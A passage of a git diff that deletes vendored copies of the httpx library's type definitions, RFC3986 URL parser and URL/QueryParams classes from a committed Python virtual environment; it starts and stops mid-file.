return lambda _: None - - result = self.app(environ, start_response) - - stream = WSGIByteStream(result) - - assert seen_status is not None - assert seen_response_headers is not None - if seen_exc_info and seen_exc_info[0] and self.raise_app_exceptions: - raise seen_exc_info[1] - - status_code = int(seen_status.split()[0]) - headers = [ - (key.encode("ascii"), value.encode("ascii")) - for key, value in seen_response_headers - ] - - return Response(status_code, headers=headers, stream=stream) diff --git a/venv/Lib/site-packages/httpx/_types.py b/venv/Lib/site-packages/httpx/_types.py deleted file mode 100644 index 704dfdffc8ba61eb913fa918072381e410b23c00..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpx/_types.py +++ /dev/null @@ -1,114 +0,0 @@ -""" -Type definitions for type checking purposes. -""" - -from http.cookiejar import CookieJar -from typing import ( - IO, - TYPE_CHECKING, - Any, - AsyncIterable, - AsyncIterator, - Callable, - Dict, - Iterable, - Iterator, - List, - Mapping, - Optional, - Sequence, - Tuple, - Union, -) - -if TYPE_CHECKING: # pragma: no cover - from ._auth import Auth # noqa: F401 - from ._config import Proxy, Timeout # noqa: F401 - from ._models import Cookies, Headers, Request # noqa: F401 - from ._urls import URL, QueryParams # noqa: F401 - - -PrimitiveData = Optional[Union[str, int, float, bool]] - -URLTypes = Union["URL", str] - -QueryParamTypes = Union[ - "QueryParams", - Mapping[str, Union[PrimitiveData, Sequence[PrimitiveData]]], - List[Tuple[str, PrimitiveData]], - Tuple[Tuple[str, PrimitiveData], ...], - str, - bytes, -] - -HeaderTypes = Union[ - "Headers", - Mapping[str, str], - Mapping[bytes, bytes], - Sequence[Tuple[str, str]], - Sequence[Tuple[bytes, bytes]], -] - -CookieTypes = Union["Cookies", CookieJar, Dict[str, str], List[Tuple[str, str]]] - -TimeoutTypes = Union[ - Optional[float], - Tuple[Optional[float], Optional[float], Optional[float], Optional[float]], - "Timeout", -] -ProxyTypes = Union["URL", str, "Proxy"] -CertTypes = Union[str, Tuple[str, str], Tuple[str, str, str]] - -AuthTypes = Union[ - Tuple[Union[str, bytes], Union[str, bytes]], - Callable[["Request"], "Request"], - "Auth", -] - -RequestContent = Union[str, bytes, Iterable[bytes], AsyncIterable[bytes]] -ResponseContent = Union[str, bytes, Iterable[bytes], AsyncIterable[bytes]] -ResponseExtensions = Mapping[str, Any] - -RequestData = Mapping[str, Any] - -FileContent = Union[IO[bytes], bytes, str] -FileTypes = Union[ - # file (or bytes) - FileContent, - # (filename, file (or bytes)) - Tuple[Optional[str], FileContent], - # (filename, file (or bytes), content_type) - Tuple[Optional[str], FileContent, Optional[str]], - # (filename, file (or bytes), content_type, headers) - Tuple[Optional[str], FileContent, Optional[str], Mapping[str, str]], -] -RequestFiles = Union[Mapping[str, FileTypes], Sequence[Tuple[str, FileTypes]]] - -RequestExtensions = Mapping[str, Any] - -__all__ = ["AsyncByteStream", "SyncByteStream"] - - -class SyncByteStream: - def __iter__(self) -> Iterator[bytes]: - raise NotImplementedError( - "The '__iter__' method must be implemented." - ) # pragma: no cover - yield b"" # pragma: no cover - - def close(self) -> None: - """ - Subclasses can override this method to release any network resources - after a request/response cycle is complete. - """ - - -class AsyncByteStream: - async def __aiter__(self) -> AsyncIterator[bytes]: - raise NotImplementedError( - "The '__aiter__' method must be implemented." - ) # pragma: no cover - yield b"" # pragma: no cover - - async def aclose(self) -> None: - pass diff --git a/venv/Lib/site-packages/httpx/_urlparse.py b/venv/Lib/site-packages/httpx/_urlparse.py deleted file mode 100644 index bf190fd560ee4fc8a11af371a15fc5f1dc284d34..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpx/_urlparse.py +++ /dev/null @@ -1,527 +0,0 @@ -""" -An implementation of `urlparse` that provides URL validation and normalization -as described by RFC3986. - -We rely on this implementation rather than the one in Python's stdlib, because: - -* It provides more complete URL validation. -* It properly differentiates between an empty querystring and an absent querystring, - to distinguish URLs with a trailing '?'. -* It handles scheme, hostname, port, and path normalization. -* It supports IDNA hostnames, normalizing them to their encoded form. -* The API supports passing individual components, as well as the complete URL string. - -Previously we relied on the excellent `rfc3986` package to handle URL parsing and -validation, but this module provides a simpler alternative, with less indirection -required. -""" - -from __future__ import annotations - -import ipaddress -import re -import typing - -import idna - -from ._exceptions import InvalidURL - -MAX_URL_LENGTH = 65536 - -# https://datatracker.ietf.org/doc/html/rfc3986.html#section-2.3 -UNRESERVED_CHARACTERS = ( - "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~" -) -SUB_DELIMS = "!$&'()*+,;=" - -PERCENT_ENCODED_REGEX = re.compile("%[A-Fa-f0-9]{2}") - -# https://url.spec.whatwg.org/#percent-encoded-bytes - -# The fragment percent-encode set is the C0 control percent-encode set -# and U+0020 SPACE, U+0022 ("), U+003C (<), U+003E (>), and U+0060 (`). -FRAG_SAFE = "".join( - [chr(i) for i in range(0x20, 0x7F) if i not in (0x20, 0x22, 0x3C, 0x3E, 0x60)] -) - -# The query percent-encode set is the C0 control percent-encode set -# and U+0020 SPACE, U+0022 ("), U+0023 (#), U+003C (<), and U+003E (>). -QUERY_SAFE = "".join( - [chr(i) for i in range(0x20, 0x7F) if i not in (0x20, 0x22, 0x23, 0x3C, 0x3E)] -) - -# The path percent-encode set is the query percent-encode set -# and U+003F (?), U+0060 (`), U+007B ({), and U+007D (}). -PATH_SAFE = "".join( - [ - chr(i) - for i in range(0x20, 0x7F) - if i not in (0x20, 0x22, 0x23, 0x3C, 0x3E) + (0x3F, 0x60, 0x7B, 0x7D) - ] -) - -# The userinfo percent-encode set is the path percent-encode set -# and U+002F (/), U+003A (:), U+003B (;), U+003D (=), U+0040 (@), -# U+005B ([) to U+005E (^), inclusive, and U+007C (|). -USERNAME_SAFE = "".join( - [ - chr(i) - for i in range(0x20, 0x7F) - if i - not in (0x20, 0x22, 0x23, 0x3C, 0x3E) - + (0x3F, 0x60, 0x7B, 0x7D) - + (0x2F, 0x3A, 0x3B, 0x3D, 0x40, 0x5B, 0x5C, 0x5D, 0x5E, 0x7C) - ] -) -PASSWORD_SAFE = "".join( - [ - chr(i) - for i in range(0x20, 0x7F) - if i - not in (0x20, 0x22, 0x23, 0x3C, 0x3E) - + (0x3F, 0x60, 0x7B, 0x7D) - + (0x2F, 0x3A, 0x3B, 0x3D, 0x40, 0x5B, 0x5C, 0x5D, 0x5E, 0x7C) - ] -) -# Note... The terminology 'userinfo' percent-encode set in the WHATWG document -# is used for the username and password quoting. For the joint userinfo component -# we remove U+003A (:) from the safe set. -USERINFO_SAFE = "".join( - [ - chr(i) - for i in range(0x20, 0x7F) - if i - not in (0x20, 0x22, 0x23, 0x3C, 0x3E) - + (0x3F, 0x60, 0x7B, 0x7D) - + (0x2F, 0x3B, 0x3D, 0x40, 0x5B, 0x5C, 0x5D, 0x5E, 0x7C) - ] -) - - -# {scheme}: (optional) -# //{authority} (optional) -# {path} -# ?{query} (optional) -# #{fragment} (optional) -URL_REGEX = re.compile( - ( - r"(?:(?P{scheme}):)?" - r"(?://(?P{authority}))?" - r"(?P{path})" - r"(?:\?(?P{query}))?" - r"(?:#(?P{fragment}))?" - ).format( - scheme="([a-zA-Z][a-zA-Z0-9+.-]*)?", - authority="[^/?#]*", - path="[^?#]*", - query="[^#]*", - fragment=".*", - ) -) - -# {userinfo}@ (optional) -# {host} -# :{port} (optional) -AUTHORITY_REGEX = re.compile( - ( - r"(?:(?P{userinfo})@)?" r"(?P{host})" r":?(?P{port})?" - ).format( - userinfo=".*", # Any character sequence. - host="(\\[.*\\]|[^:@]*)", # Either any character sequence excluding ':' or '@', - # or an IPv6 address enclosed within square brackets. - port=".*", # Any character sequence. - ) -) - - -# If we call urlparse with an individual component, then we need to regex -# validate that component individually. -# Note that we're duplicating the same strings as above. Shock! Horror!! -COMPONENT_REGEX = { - "scheme": re.compile("([a-zA-Z][a-zA-Z0-9+.-]*)?"), - "authority": re.compile("[^/?#]*"), - "path": re.compile("[^?#]*"), - "query": re.compile("[^#]*"), - "fragment": re.compile(".*"), - "userinfo": re.compile("[^@]*"), - "host": re.compile("(\\[.*\\]|[^:]*)"), - "port": re.compile(".*"), -} - - -# We use these simple regexs as a first pass before handing off to -# the stdlib 'ipaddress' module for IP address validation. -IPv4_STYLE_HOSTNAME = re.compile(r"^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$") -IPv6_STYLE_HOSTNAME = re.compile(r"^\[.*\]$") - - -class ParseResult(typing.NamedTuple): - scheme: str - userinfo: str - host: str - port: int | None - path: str - query: str | None - fragment: str | None - - @property - def authority(self) -> str: - return "".join( - [ - f"{self.userinfo}@" if self.userinfo else "", - f"[{self.host}]" if ":" in self.host else self.host, - f":{self.port}" if self.port is not None else "", - ] - ) - - @property - def netloc(self) -> str: - return "".join( - [ - f"[{self.host}]" if ":" in self.host else self.host, - f":{self.port}" if self.port is not None else "", - ] - ) - - def copy_with(self, **kwargs: str | None) -> ParseResult: - if not kwargs: - return self - - defaults = { - "scheme": self.scheme, - "authority": self.authority, - "path": self.path, - "query": self.query, - "fragment": self.fragment, - } - defaults.update(kwargs) - return urlparse("", **defaults) - - def __str__(self) -> str: - authority = self.authority - return "".join( - [ - f"{self.scheme}:" if self.scheme else "", - f"//{authority}" if authority else "", - self.path, - f"?{self.query}" if self.query is not None else "", - f"#{self.fragment}" if self.fragment is not None else "", - ] - ) - - -def urlparse(url: str = "", **kwargs: str | None) -> ParseResult: - # Initial basic checks on allowable URLs. - # --------------------------------------- - - # Hard limit the maximum allowable URL length. - if len(url) > MAX_URL_LENGTH: - raise InvalidURL("URL too long") - - # If a URL includes any ASCII control characters including \t, \r, \n, - # then treat it as invalid. - if any(char.isascii() and not char.isprintable() for char in url): - char = next(char for char in url if char.isascii() and not char.isprintable()) - idx = url.find(char) - error = ( - f"Invalid non-printable ASCII character in URL, {char!r} at position {idx}." - ) - raise InvalidURL(error) - - # Some keyword arguments require special handling. - # ------------------------------------------------ - - # Coerce "port" to a string, if it is provided as an integer. - if "port" in kwargs: - port = kwargs["port"] - kwargs["port"] = str(port) if isinstance(port, int) else port - - # Replace "netloc" with "host and "port". - if "netloc" in kwargs: - netloc = kwargs.pop("netloc") or "" - kwargs["host"], _, kwargs["port"] = netloc.partition(":") - - # Replace "username" and/or "password" with "userinfo". - if "username" in kwargs or "password" in kwargs: - username = quote(kwargs.pop("username", "") or "", safe=USERNAME_SAFE) - password = quote(kwargs.pop("password", "") or "", safe=PASSWORD_SAFE) - kwargs["userinfo"] = f"{username}:{password}" if password else username - - # Replace "raw_path" with "path" and "query". - if "raw_path" in kwargs: - raw_path = kwargs.pop("raw_path") or "" - kwargs["path"], seperator, kwargs["query"] = raw_path.partition("?") - if not seperator: - kwargs["query"] = None - - # Ensure that IPv6 "host" addresses are always escaped with "[...]". - if "host" in kwargs: - host = kwargs.get("host") or "" - if ":" in host and not (host.startswith("[") and host.endswith("]")): - kwargs["host"] = f"[{host}]" - - # If any keyword arguments are provided, ensure they are valid. - # ------------------------------------------------------------- - - for key, value in kwargs.items(): - if value is not None: - if len(value) > MAX_URL_LENGTH: - raise InvalidURL(f"URL component '{key}' too long") - - # If a component includes any ASCII control characters including \t, \r, \n, - # then treat it as invalid. - if any(char.isascii() and not char.isprintable() for char in value): - char = next( - char for char in value if char.isascii() and not char.isprintable() - ) - idx = value.find(char) - error = ( - f"Invalid non-printable ASCII character in URL {key} component, " - f"{char!r} at position {idx}." - ) - raise InvalidURL(error) - - # Ensure that keyword arguments match as a valid regex. - if not COMPONENT_REGEX[key].fullmatch(value): - raise InvalidURL(f"Invalid URL component '{key}'") - - # The URL_REGEX will always match, but may have empty components. - url_match = URL_REGEX.match(url) - assert url_match is not None - url_dict = url_match.groupdict() - - # * 'scheme', 'authority', and 'path' may be empty strings. - # * 'query' may be 'None', indicating no trailing "?" portion. - # Any string including the empty string, indicates a trailing "?". - # * 'fragment' may be 'None', indicating no trailing "#" portion. - # Any string including the empty string, indicates a trailing "#". - scheme = kwargs.get("scheme", url_dict["scheme"]) or "" - authority = kwargs.get("authority", url_dict["authority"]) or "" - path = kwargs.get("path", url_dict["path"]) or "" - query = kwargs.get("query", url_dict["query"]) - frag = kwargs.get("fragment", url_dict["fragment"]) - - # The AUTHORITY_REGEX will always match, but may have empty components. - authority_match = AUTHORITY_REGEX.match(authority) - assert authority_match is not None - authority_dict = authority_match.groupdict() - - # * 'userinfo' and 'host' may be empty strings. - # * 'port' may be 'None'. - userinfo = kwargs.get("userinfo", authority_dict["userinfo"]) or "" - host = kwargs.get("host", authority_dict["host"]) or "" - port = kwargs.get("port", authority_dict["port"]) - - # Normalize and validate each component. - # We end up with a parsed representation of the URL, - # with components that are plain ASCII bytestrings. - parsed_scheme: str = scheme.lower() - parsed_userinfo: str = quote(userinfo, safe=USERINFO_SAFE) - parsed_host: str = encode_host(host) - parsed_port: int | None = normalize_port(port, scheme) - - has_scheme = parsed_scheme != "" - has_authority = ( - parsed_userinfo != "" or parsed_host != "" or parsed_port is not None - ) - validate_path(path, has_scheme=has_scheme, has_authority=has_authority) - if has_scheme or has_authority: - path = normalize_path(path) - - parsed_path: str = quote(path, safe=PATH_SAFE) - parsed_query: str | None = None if query is None else quote(query, safe=QUERY_SAFE) - parsed_frag: str | None = None if frag is None else quote(frag, safe=FRAG_SAFE) - - # The parsed ASCII bytestrings are our canonical form. - # All properties of the URL are derived from these. - return ParseResult( - parsed_scheme, - parsed_userinfo, - parsed_host, - parsed_port, - parsed_path, - parsed_query, - parsed_frag, - ) - - -def encode_host(host: str) -> str: - if not host: - return "" - - elif IPv4_STYLE_HOSTNAME.match(host): - # Validate IPv4 hostnames like #.#.#.# - # - # From https://datatracker.ietf.org/doc/html/rfc3986/#section-3.2.2 - # - # IPv4address = dec-octet "." dec-octet "." dec-octet "." dec-octet - try: - ipaddress.IPv4Address(host) - except ipaddress.AddressValueError: - raise InvalidURL(f"Invalid IPv4 address: {host!r}") - return host - - elif IPv6_STYLE_HOSTNAME.match(host): - # Validate IPv6 hostnames like [...] - # - # From https://datatracker.ietf.org/doc/html/rfc3986/#section-3.2.2 - # - # "A host identified by an Internet Protocol literal address, version 6 - # [RFC3513] or later, is distinguished by enclosing the IP literal - # within square brackets ("[" and "]"). This is the only place where - # square bracket characters are allowed in the URI syntax." - try: - ipaddress.IPv6Address(host[1:-1]) - except ipaddress.AddressValueError: - raise InvalidURL(f"Invalid IPv6 address: {host!r}") - return host[1:-1] - - elif host.isascii(): - # Regular ASCII hostnames - # - # From https://datatracker.ietf.org/doc/html/rfc3986/#section-3.2.2 - # - # reg-name = *( unreserved / pct-encoded / sub-delims ) - WHATWG_SAFE = '"`{}%|\\' - return quote(host.lower(), safe=SUB_DELIMS + WHATWG_SAFE) - - # IDNA hostnames - try: - return idna.encode(host.lower()).decode("ascii") - except idna.IDNAError: - raise InvalidURL(f"Invalid IDNA hostname: {host!r}") - - -def normalize_port(port: str | int | None, scheme: str) -> int | None: - # From https://tools.ietf.org/html/rfc3986#section-3.2.3 - # - # "A scheme may define a default port. For example, the "http" scheme - # defines a default port of "80", corresponding to its reserved TCP - # port number. The type of port designated by the port number (e.g., - # TCP, UDP, SCTP) is defined by the URI scheme. URI producers and - # normalizers should omit the port component and its ":" delimiter if - # port is empty or if its value would be the same as that of the - # scheme's default." - if port is None or port == "": - return None - - try: - port_as_int = int(port) - except ValueError: - raise InvalidURL(f"Invalid port: {port!r}") - - # See https://url.spec.whatwg.org/#url-miscellaneous - default_port = {"ftp": 21, "http": 80, "https": 443, "ws": 80, "wss": 443}.get( - scheme - ) - if port_as_int == default_port: - return None - return port_as_int - - -def validate_path(path: str, has_scheme: bool, has_authority: bool) -> None: - """ - Path validation rules that depend on if the URL contains - a scheme or authority component. - - See https://datatracker.ietf.org/doc/html/rfc3986.html#section-3.3 - """ - if has_authority: - # If a URI contains an authority component, then the path component - # must either be empty or begin with a slash ("/") character." - if path and not path.startswith("/"): - raise InvalidURL("For absolute URLs, path must be empty or begin with '/'") - - if not has_scheme and not has_authority: - # If a URI does not contain an authority component, then the path cannot begin - # with two slash characters ("//"). - if path.startswith("//"): - raise InvalidURL("Relative URLs cannot have a path starting with '//'") - - # In addition, a URI reference (Section 4.1) may be a relative-path reference, - # in which case the first path segment cannot contain a colon (":") character. - if path.startswith(":"): - raise InvalidURL("Relative URLs cannot have a path starting with ':'") - - -def normalize_path(path: str) -> str: - """ - Drop "." and ".." segments from a URL path. - - For example: - - normalize_path("/path/./to/somewhere/..") == "/path/to" - """ - # Fast return when no '.' characters in the path. - if "." not in path: - return path - - components = path.split("/") - - # Fast return when no '.' or '..' components in the path. - if "." not in components and ".." not in components: - return path - - # https://datatracker.ietf.org/doc/html/rfc3986#section-5.2.4 - output: list[str] = [] - for component in components: - if component == ".": - pass - elif component == "..": - if output and output != [""]: - output.pop() - else: - output.append(component) - return "/".join(output) - - -def PERCENT(string: str) -> str: - return "".join([f"%{byte:02X}" for byte in string.encode("utf-8")]) - - -def percent_encoded(string: str, safe: str) -> str: - """ - Use percent-encoding to quote a string. - """ - NON_ESCAPED_CHARS = UNRESERVED_CHARACTERS + safe - - # Fast path for strings that don't need escaping. - if not string.rstrip(NON_ESCAPED_CHARS): - return string - - return "".join( - [char if char in NON_ESCAPED_CHARS else PERCENT(char) for char in string] - ) - - -def quote(string: str, safe: str) -> str: - """ - Use percent-encoding to quote a string, omitting existing '%xx' escape sequences. - - See: https://www.rfc-editor.org/rfc/rfc3986#section-2.1 - - * `string`: The string to be percent-escaped. - * `safe`: A string containing characters that may be treated as safe, and do not - need to be escaped. Unreserved characters are always treated as safe. - See: https://www.rfc-editor.org/rfc/rfc3986#section-2.3 - """ - parts = [] - current_position = 0 - for match in re.finditer(PERCENT_ENCODED_REGEX, string): - start_position, end_position = match.start(), match.end() - matched_text = match.group(0) - # Add any text up to the '%xx' escape sequence. - if start_position != current_position: - leading_text = string[current_position:start_position] - parts.append(percent_encoded(leading_text, safe=safe)) - - # Add the '%xx' escape sequence. - parts.append(matched_text) - current_position = end_position - - # Add any text after the final '%xx' escape sequence. - if current_position != len(string): - trailing_text = string[current_position:] - parts.append(percent_encoded(trailing_text, safe=safe)) - - return "".join(parts) diff --git a/venv/Lib/site-packages/httpx/_urls.py b/venv/Lib/site-packages/httpx/_urls.py deleted file mode 100644 index 147a8fa333acaf31618d37ba2896e3a5bf5e4d02..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpx/_urls.py +++ /dev/null @@ -1,641 +0,0 @@ -from __future__ import annotations - -import typing -from urllib.parse import parse_qs, unquote, urlencode - -import idna - -from ._types import QueryParamTypes -from ._urlparse import urlparse -from ._utils import primitive_value_to_str - -__all__ = ["URL", "QueryParams"] - - -class URL: - """ - url = httpx.URL("HTTPS://jo%40email.com:a%20secret@müller.de:1234/pa%20th?search=ab#anchorlink") - - assert url.scheme == "https" - assert url.username == "jo@email.com" - assert url.password == "a secret" - assert url.userinfo == b"jo%40email.com:a%20secret" - assert url.host == "müller.de" - assert url.raw_host == b"xn--mller-kva.de" - assert url.port == 1234 - assert url.netloc == b"xn--mller-kva.de:1234" - assert url.path == "/pa th" - assert url.query == b"?search=ab" - assert url.raw_path == b"/pa%20th?search=ab" - assert url.fragment == "anchorlink" - - The components of a URL are broken down like this: - - https://jo%40email.com:a%20secret@müller.de:1234/pa%20th?search=ab#anchorlink - [scheme] [ username ] [password] [ host ][port][ path ] [ query ] [fragment] - [ userinfo ] [ netloc ][ raw_path ] - - Note that: - - * `url.scheme` is normalized to always be lowercased. - - * `url.host` is normalized to always be lowercased. Internationalized domain - names are represented in unicode, without IDNA encoding applied. For instance: - - url = httpx.URL("http://中国.icom.museum") - assert url.host == "中国.icom.museum" - url = httpx.URL("http://xn--fiqs8s.icom.museum") - assert url.host == "中国.icom.museum" - - * `url.raw_host` is normalized to always be lowercased, and is IDNA encoded. - - url = httpx.URL("http://中国.icom.museum") - assert url.raw_host == b"xn--fiqs8s.icom.museum" - url = httpx.URL("http://xn--fiqs8s.icom.museum") - assert url.raw_host == b"xn--fiqs8s.icom.museum" - - * `url.port` is either None or an integer. URLs that include the default port for - "http", "https", "ws", "wss", and "ftp" schemes have their port - normalized to `None`. - - assert httpx.URL("http://example.com") == httpx.URL("http://example.com:80") - assert httpx.URL("http://example.com").port is None - assert httpx.URL("http://example.com:80").port is None - - * `url.userinfo` is raw bytes, without URL escaping. Usually you'll want to work - with `url.username` and `url.password` instead, which handle the URL escaping. - - * `url.raw_path` is raw bytes of both the path and query, without URL escaping. - This portion is used as the target when constructing HTTP requests. Usually you'll - want to work with `url.path` instead. - - * `url.query` is raw bytes, without URL escaping. A URL query string portion can - only be properly URL escaped when decoding the parameter names and values - themselves. - """ - - def __init__(self, url: URL | str = "", **kwargs: typing.Any) -> None: - if kwargs: - allowed = { - "scheme": str, - "username": str, - "password": str, - "userinfo": bytes, - "host": str, - "port": int, - "netloc": bytes, - "path": str, - "query": bytes, - "raw_path": bytes, - "fragment": str, - "params": object, - } - - # Perform type checking for all supported keyword arguments. - for key, value in kwargs.items(): - if key not in allowed: - message = f"{key!r} is an invalid keyword argument for URL()" - raise TypeError(message) - if value is not None and not isinstance(value, allowed[key]): - expected = allowed[key].__name__ - seen = type(value).__name__ - message = f"Argument {key!r} must be {expected} but got {seen}" - raise TypeError(message) - if isinstance(value, bytes): - kwargs[key] = value.decode("ascii") - - if "params" in kwargs: - # Replace any "params" keyword with the raw "query" instead. - # - # Ensure that empty params use `kwargs["query"] = None` rather - # than `kwargs["query"] = ""`, so that generated URLs do not - # include an empty trailing "?". - params = kwargs.pop("params") - kwargs["query"] = None if not params else str(QueryParams(params)) - - if isinstance(url, str): - self._uri_reference = urlparse(url, **kwargs) - elif isinstance(url, URL): - self._uri_reference = url._uri_reference.copy_with(**kwargs) - else: - raise TypeError( - "Invalid type for url. Expected str or httpx.URL," - f" got {type(url)}: {url!r}" - ) - - @property - def scheme(self) -> str: - """ - The URL scheme, such as "http", "https". - Always normalised to lowercase. - """ - return self._uri_reference.scheme - - @property - def raw_scheme(self) -> bytes: - """ - The raw bytes representation of the URL scheme, such as b"http", b"https". - Always normalised to lowercase. - """ - return self._uri_reference.scheme.encode("ascii") - - @property - def userinfo(self) -> bytes: - """ - The URL userinfo as a raw bytestring. - For example: b"jo%40email.com:a%20secret". - """ - return self._uri_reference.userinfo.encode("ascii") - - @property - def username(self) -> str: - """ - The URL username as a string, with URL decoding applied. - For example: "jo@email.com" - """ - userinfo = self._uri_reference.userinfo - return unquote(userinfo.partition(":")[0]) - - @property - def password(self) -> str: - """ - The URL password as a string, with URL decoding applied. - For example: "a secret" - """ - userinfo = self._uri_reference.userinfo - return unquote(userinfo.partition(":")[2]) - - @property - def host(self) -> str: - """ - The URL host as a string. - Always normalized to lowercase, with IDNA hosts decoded into unicode. - - Examples: - - url = httpx.URL("http://www.EXAMPLE.org") - assert url.host == "www.example.org" - - url = httpx.URL("http://中国.icom.museum") - assert url.host == "中国.icom.museum" - - url = httpx.URL("http://xn--fiqs8s.icom.museum") - assert url.host == "中国.icom.museum" - - url = httpx.URL("https://[::ffff:192.168.0.1]") - assert url.host == "::ffff:192.168.0.1" - """ - host: str = self._uri_reference.host - - if host.startswith("xn--"): - host = idna.decode(host) - - return host - - @property - def raw_host(self) -> bytes: - """ - The raw bytes representation of the URL host. - Always normalized to lowercase, and IDNA encoded. - - Examples: - - url = httpx.URL("http://www.EXAMPLE.org") - assert url.raw_host == b"www.example.org" - - url = httpx.URL("http://中国.icom.museum") - assert url.raw_host == b"xn--fiqs8s.icom.museum" - - url = httpx.URL("http://xn--fiqs8s.icom.museum") - assert url.raw_host == b"xn--fiqs8s.icom.museum" - - url = httpx.URL("https://[::ffff:192.168.0.1]") - assert url.raw_host == b"::ffff:192.168.0.1" - """ - return self._uri_reference.host.encode("ascii") - - @property - def port(self) -> int | None: - """ - The URL port as an integer. - - Note that the URL class performs port normalization as per the WHATWG spec. - Default ports for "http", "https", "ws", "wss", and "ftp" schemes are always - treated as `None`. - - For example: - - assert httpx.URL("http://www.example.com") == httpx.URL("http://www.example.com:80") - assert httpx.URL("http://www.example.com:80").port is None - """ - return self._uri_reference.port - - @property - def netloc(self) -> bytes: - """ - Either `` or `:` as bytes. - Always normalized to lowercase, and IDNA encoded. - - This property may be used for generating the value of a request - "Host" header. - """ - return self._uri_reference.netloc.encode("ascii") - - @property - def path(self) -> str: - """ - The URL path as a string. Excluding the query string, and URL decoded. - - For example: - - url = httpx.URL("https://example.com/pa%20th") - assert url.path == "/pa th" - """ - path = self._uri_reference.path or "/" - return unquote(path) - - @property - def query(self) -> bytes: - """ - The URL query string, as raw bytes, excluding the leading b"?". - - This is necessarily a bytewise interface, because we cannot - perform URL decoding of this representation until we've parsed - the keys and values into a QueryParams instance. - - For example: - - url = httpx.URL("https://example.com/?filter=some%20search%20terms") - assert url.query == b"filter=some%20search%20terms" - """ - query = self._uri_reference.query or "" - return query.encode("ascii") - - @property - def params(self) -> QueryParams: - """ - The URL query parameters, neatly parsed and packaged into an immutable - multidict representation. - """ - return QueryParams(self._uri_reference.query) - - @property - def raw_path(self) -> bytes: - """ - The complete URL path and query string as raw bytes. - Used as the target when constructing HTTP requests. - - For example: - - GET /users?search=some%20text HTTP/1.1 - Host: www.example.org - Connection: close - """ - path = self._uri_reference.path or "/" - if self._uri_reference.query is not None: - path += "?" + self._uri_reference.query - return path.encode("ascii") - - @property - def fragment(self) -> str: - """ - The URL fragments, as used in HTML anchors. - As a string, without the leading '#'. - """ - return unquote(self._uri_reference.fragment or "") - - @property - def is_absolute_url(self) -> bool: - """ - Return `True` for absolute URLs such as 'http://example.com/path', - and `False` for relative URLs such as '/path'. - """ - # We don't use `.is_absolute` from `rfc3986` because it treats - # URLs with a fragment portion as not absolute. - # What we actually care about is if the URL provides - # a scheme and hostname to which connections should be made. - return bool(self._uri_reference.scheme and self._uri_reference.host) - - @property - def is_relative_url(self) -> bool: - """ - Return `False` for absolute URLs such as 'http://example.com/path', - and `True` for relative URLs such as '/path'. - """ - return not self.is_absolute_url - - def copy_with(self, **kwargs: typing.Any) -> URL: - """ - Copy this URL, returning a new URL with some components altered. - Accepts the same set of parameters as the components that are made - available via properties on the `URL` class. - - For example: - - url = httpx.URL("https://www.example.com").copy_with( - username="jo@gmail.com", password="a secret" - ) - assert url == "https://jo%40email.com:a%20secret@www.example.com" - """ - return URL(self, **kwargs) - - def copy_set_param(self, key: str, value: typing.Any = None) -> URL: - return self.copy_with(params=self.params.set(key, value)) - - def copy_add_param(self, key: str, value: typing.Any = None) -> URL: - return self.copy_with(params=self.params.add(key, value)) - - def copy_remove_param(self, key: str) -> URL: - return self.copy_with(params=self.params.remove(key)) - - def copy_merge_params(self, params: QueryParamTypes) -> URL: - return self.copy_with(params=self.params.merge(params)) - - def join(self, url: URL | str) -> URL: - """ - Return an absolute URL, using this URL as the base. - - Eg. - - url = httpx.URL("https://www.example.com/test") - url = url.join("/new/path") - assert url == "https://www.example.com/new/path" - """ - from urllib.parse import urljoin - - return URL(urljoin(str(self), str(URL(url)))) - - def __hash__(self) -> int: - return hash(str(self)) - - def __eq__(self, other: typing.Any) -> bool: - return isinstance(other, (URL, str)) and str(self) == str(URL(other)) - - def __str__(self) -> str: - return str(self._uri_reference) - - def __repr__(self) -> str: - scheme, userinfo, host, port, path, query, fragment = self._uri_reference - - if ":" in userinfo: - # Mask any password component. - userinfo = f'{userinfo.split(":")[0]}:[secure]' - - authority = "".join( - [ - f"{userinfo}@" if userinfo else "", - f"[{host}]" if ":" in host else host, - f":{port}" if port is not None else "", - ] - ) - url = "".join( - [ - f"{self.scheme}:" if scheme else "", - f"//{authority}" if authority else "", - path, - f"?{query}" if query is not None else "", - f"#{fragment}" if fragment is not None else "", - ] - ) - - return f"{self.__class__.__name__}({url!r})" - - @property - def raw(self) -> tuple[bytes, bytes, int, bytes]: # pragma: nocover - import collections - import warnings - - warnings.warn("URL.raw is deprecated.") - RawURL = collections.namedtuple( - "RawURL", ["raw_scheme", "raw_host", "port", "raw_path"] - ) - return RawURL( - raw_scheme=self.raw_scheme, - raw_host=self.raw_host, - port=self.port, - raw_path=self.raw_path, - ) - - -class QueryParams(typing.Mapping[str, str]): - """ - URL query parameters, as a multi-dict. - """ - - def __init__(self, *args: QueryParamTypes | None, **kwargs: typing.Any) -> None: - assert len(args) < 2, "Too many arguments." - assert not (args and kwargs), "Cannot mix named and unnamed arguments." - - value = args[0] if args else kwargs - - if value is None or isinstance(value, (str, bytes)): - value = value.decode("ascii") if isinstance(value, bytes) else value - self._dict = parse_qs(value, keep_blank_values=True) - elif isinstance(value, QueryParams): - self._dict = {k: list(v) for k, v in value._dict.items()} - else: - dict_value: dict[typing.Any, list[typing.Any]] = {} - if isinstance(value, (list, tuple)): - # Convert list inputs like: - # [("a", "123"), ("a", "456"), ("b", "789")] - # To a dict representation, like: - # {"a": ["123", "456"], "b": ["789"]} - for item in value: - dict_value.setdefault(item[0], []).append(item[1]) - else: - # Convert dict inputs like: - # {"a": "123", "b": ["456", "789"]} - # To dict inputs where values are always lists, like: - # {"a": ["123"], "b": ["456", "789"]} - dict_value = { - k: list(v) if isinstance(v, (list, tuple)) else [v] - for k, v in value.items() - } - - # Ensure that keys and values are neatly coerced to strings. - # We coerce values `True` and `False` to JSON-like "true" and "false" - # representations, and coerce `None` values to the empty string. - self._dict = { - str(k): [primitive_value_to_str(item) for item in v] - for k, v in dict_value.items() - } - - def keys(self) -> typing.KeysView[str]: - """ - Return all the keys in the query params. - - Usage: - - q = httpx.QueryParams("a=123&a=456&b=789") - assert list(q.keys()) == ["a", "b"] - """ - return self._dict.keys() - - def values(self) -> typing.ValuesView[str]: - """ - Return all the values in the query params. If a key occurs more than once - only the first item for that key is 